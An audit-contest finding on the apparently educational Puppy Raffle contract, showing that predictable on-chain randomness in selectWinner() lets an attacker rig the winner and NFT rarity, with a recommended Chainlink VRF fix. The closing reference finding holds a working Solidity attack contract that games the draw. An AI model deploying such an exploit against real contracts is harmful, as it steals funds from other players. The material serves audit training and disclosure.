Puppy Raffle
AI First Flight #1
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EXP
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Submission Details
Severity: high
Valid

[H-3] Weak On-Chain Randomness in selectWinner() Allows Attacker to Predict Winner and Guarantee Legendary Rarity

lmsand

Root + Impact

  • Root: Predictable On-Chain Values Used as Randomness Source

  • Impact: Attacker Can Manipulate Raffle Outcome and NFT Rarity

Description

  • The contract uses msg.sender, block.timestamp, and block.difficulty to determine the winner

The contract uses msg.sender and block.difficulty to determine the NFT rarity

  • All of these values are either fully known or influenceable before the transaction is submitted

  • Because the rarity hash uses a subset of the same inputs as the winner hash, both can be calculated simultaneously off-chain

  • selectWinner() has no access control — anyone can call it, meaning an attacker can choose the exact msg.sender that produces a favorable outcome

  • This creates a flaw where an attacker can simulate both hashes off-chain, find a msg.sender that wins the raffle AND produces legendary rarity, then call selectWinner() from that specific address — guaranteeing both the prize pool and the rarest NFT every time.

// @audit msg.sender, block.timestamp, block.difficulty are all known/manipulable
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
​
// @audit subset of same inputs — rarity is predictable at the same time as winner
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood: High

  • Any user can call selectWinner() — no special permissions required

Off-chain hash simulation is trivial and requires no special tools

  • Attack can be executed every single raffle with no additional cost

  • Validators/miners can additionally influence block.difficulty and block.timestamp

Impact: High

  • Raffle outcome is completely predetermined by the attacker

All legitimate players are guaranteed to lose

  • Attacker can additionally guarantee legendary rarity NFT every time

  • Core protocol fairness is completely broken

  • Players have no way to detect or prevent the manipulation

Proof of Concept

Step-by-step:

  1. Attacker enters the raffle with a player address they control

  2. Attacker simulates the winner hash off-chain

  3. Attacker simultaneously simulates the rarity hash

  4. If both results are unfavorable, attacker waits or tries a different msg.sender

When both hashes produce a favorable outcome, attacker calls selectWinner() from that address
6. Attacker wins the prize pool and receives a legendary NFT — every time

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
attackerAddress,
block.timestamp,
block.difficulty
))) % players.length;
​
uint256 rarity = uint256(keccak256(abi.encodePacked(
attackerAddress,
block.difficulty
))) % 100;

Recommended Mitigation

Replace all on-chain randomness with Chainlink VRF (Verifiable Random Function). Chainlink VRF generates randomness off-chain and delivers it on-chain with a cryptographic proof that it cannot be tampered with — not even by Chainlink itself.

// Current vulnerable implementation
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
- msg.sender, block.timestamp, block.difficulty
- ))) % players.length;
​
- uint256 rarity = uint256(keccak256(abi.encodePacked(
- msg.sender, block.difficulty
- ))) % 100;
​
// Recommended: use Chainlink VRF
+ function requestRandomWords() internal returns (uint256 requestId) {
+ requestId = COORDINATOR.requestRandomWords(
+ keyHash,
+ subscriptionId,
+ requestConfirmations,
+ callbackGasLimit,
+ numWords
+ );
+ }
+
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ uint256 winnerIndex = randomWords[0] % players.length;
+ uint256 rarity = randomWords[1] % 100;
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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